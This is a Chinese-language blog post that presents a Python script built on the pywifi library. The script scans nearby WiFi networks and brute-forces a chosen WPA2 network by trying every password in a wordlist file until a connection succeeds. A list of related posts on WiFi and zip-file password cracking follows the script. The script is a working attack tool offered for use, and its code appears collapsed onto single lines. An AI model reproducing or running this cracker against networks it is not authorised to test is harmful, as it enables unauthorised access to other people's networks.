使用pywifi模块
我原本想改成多线程,但是好像出现一点问题就改成单线程了,就是有点慢

import pywifi
import time
from pywifi import const
import threading
import sys
'''
1. 导入函数
2. 抓取第一个网卡接口
3. 断开wifi连接
4. 从密码本上读取密码,不断的尝试
5. 设置睡眠时间 , 三秒左右'''
def scan_wifi(): #扫描当前的wifi# 创建一个wifi对象wifi = pywifi.PyWiFi()#获取网卡 (列表)ifaces = wifi.interfaces()[0]#扫描附近的wifiifaces.scan()scan_result = ifaces.scan_results()for wifi_name in scan_result:print(wifi_name.ssid)def wificonnect(wifiname,wifipwd):'''wifi的测试连接'''wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]#断开wifi连接ifaces.disconnect()time.sleep(0.5)if ifaces.status() == const.IFACE_DISCONNECTED:# 创建wifi连接文件profile = pywifi.Profile()# wifi名称profile.ssid = wifiname# wifi的密码profile.key = wifipwd# wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# 网卡的开放profile.auth = const.AUTH_ALG_OPEN#加密单元profile.cipher = const.CIPHER_TYPE_CCMP#删除所有的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件temp_profile = ifaces.add_network_profile(profile)# 连接wifiifaces.connect(temp_profile)time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:#print('密码正确:%s'%wifipwd)return Trueelse:#print("密码错误:%s"%wifipwd)return Falsedef read_pwd(wifiname):'''读取密码本'''print('------开始破解-------')file = open('wifi_pwd.txt', 'r')while True:try:pwd = file.readline()# wifi_threading = threading.Thread(target=wificonnect,args=(wifiname,pwd))# wifi_threading.start()bool = wificonnect(wifiname,pwd)if bool:print('密码正确:',pwd)breakelse:print("密码错误",pwd)except:continuefile.close()def main():scan_wifi()wifiname = input("请输入要破解的wifi名称:")read_pwd(wifiname)if __name__ == '__main__':main()

运行结果:

python-wifi暴力破解相关推荐

  1. python WiFi暴力破解小程序

    思路: 1.扫描前十个信号最好的wifi,得到ssid 2.然后用一个密码,遍历所有ssid,尝试能否连接上 3.密码正确连接上后,会报错退出程序,否则会一直运行下去 4.本脚本没有优化,运行时可能有 ...

  2. Python+Tkinter编写WIFI暴力破解客户端

    最近闲来无事,学习了一下tkinter,写了一个客户端GUI暴力破解wifi,实测可行,但是效率不高,毕竟几个G的字典数据,电脑是单网卡也不能实现并发爆破,能破解全看缘分,此篇文章仅供学习交流,话不多 ...

  3. Python攻防-暴力破解ZIP加密文件的密码

    文章目录 前言 Python语法 自定义迭代器 Python多线程 Python脚本 单线程数字爆破 单线程字符爆破 多线程字典爆破 总结 前言 本文继续记录学习下 Python 的有趣应用:借助 P ...

  4. Python:暴力破解密码 - 压缩包、web实战

    简介:常规情况下,由于web自身的服务资源,带宽,吞吐率的原因,存在访问上线的情况,这和极端情况下本地直接即时访问,即时反馈的机制是完全不可等同的.另外暴力破解密码这种行为本身就是一个徘徊为灰色地带的 ...

  5. python脚本-暴力破解无线网弱密码

    关注我的博客,访问更多内容! 背景:学校最近重新架设无线网一体化,而初始密码为弱密码(6位数字),下面我们要做的就是通过暴力破解的方式破解弱密码!(所以建议大家以后无论是在注册还是什么情况,都千万不要 ...

  6. 用python编写一个简单的单线程wifi暴力破解工具!

    源代码 a.txt:密码文件 crack.py:wifi破解模块 main.py:主模块 scan.py:wifi扫描模块 scan.py PS:如有需要Python学习资料的小伙伴可以加点击下方链接 ...

  7. 【用python编写一个简单的单线程wifi暴力破解工具】

    源代码 a.txt:密码文件 crack.py:wifi破解模块 main.py:主模块 scan.py:wifi扫描模块 scan.py import pywifi import time# WiF ...

  8. python专场——暴力破解(DVWA)

    暴力破解 用python编写针对登陆的暴力破解程序 工作原理 暴力破解的三种思路 生成字典文件 DVWA登陆的暴力破解程序 Brute Force(暴力破解) 用python编写针对登陆的暴力破解程序 ...

  9. Python:暴力破解zip!

    照顾没有接触过Python编程的同学,行文可能会有些啰嗦. 废话少说,我们进入正题. 2.1准备基本材料 在/home/ziptest/目录下,我创建了两个文件,一个test.zip,是一个设置了密码 ...

  10. Python实战-暴力破解zip文件解压密码

    简介 使用的核心模块是python标准库中的zipfile模块.这个模块可以实现zip文件的各种功能,具体可以查看官方参考文档.这里的暴力破解的意思是对密码可能序列中的值一个一个进行密码尝试,这对人来 ...

最新文章

  1. Java开发工具简介
  2. PL/SQL: Stop Making the Same Performance Mistakes
  3. [NOI2013]树的计数
  4. process java类_Java中Process类的用途是什么?
  5. php _trait,php Trait的使用
  6. GraphX主要的接口详解
  7. flex结合asp.net上传深入详细解说(转载)
  8. db_host 直接用ip地址吗_新买的粉扑能直接用吗?使用粉扑要注意什么?
  9. (转)卫星已经out了,为了获取信息优势对冲基金盯上了“暗网”
  10. 玩客云折腾记录(一):编译 ArmBian 系统
  11. 前端标注软件-pxcook像素大厨使用心得
  12. js正则只能匹配正整数或零
  13. 用Android 写生成的梅花
  14. AMiner背后的技术细节与挑战
  15. 汽车销售数据相关性分析
  16. 数学建模——规划模型
  17. java里Math求倒数_java倒数60s实现
  18. 探秘特种兵-揭开《士兵突击》原型部队老A的神秘面纱!(转帖)
  19. unity中rectTransform的宽和高如何取
  20. mac m1 tensorflow环境安装问题

热门文章

  1. python运行时黑屏什么原因_pygame 程序未报错却黑屏无法显示 请问有大佬知道解决方法吗...
  2. 面试中会谈工资的人,一开口就赢了,这几种谈薪资方式,让工资翻倍
  3. Jar包部署命令解析
  4. 面试经典算法题--爬楼梯 的六种解法
  5. php 对接银行接口,Php开发银行接口之浦发银行
  6. 计算机中通常使用英文单词hit表示的是,计算机四级中常考的英语单词(2)
  7. Nginx转发丢失cookie解决方案
  8. springboot教研室台账管理系统的设计与实现
  9. 关于程序员如何提高自己的一些感言
  10. web app中支付问题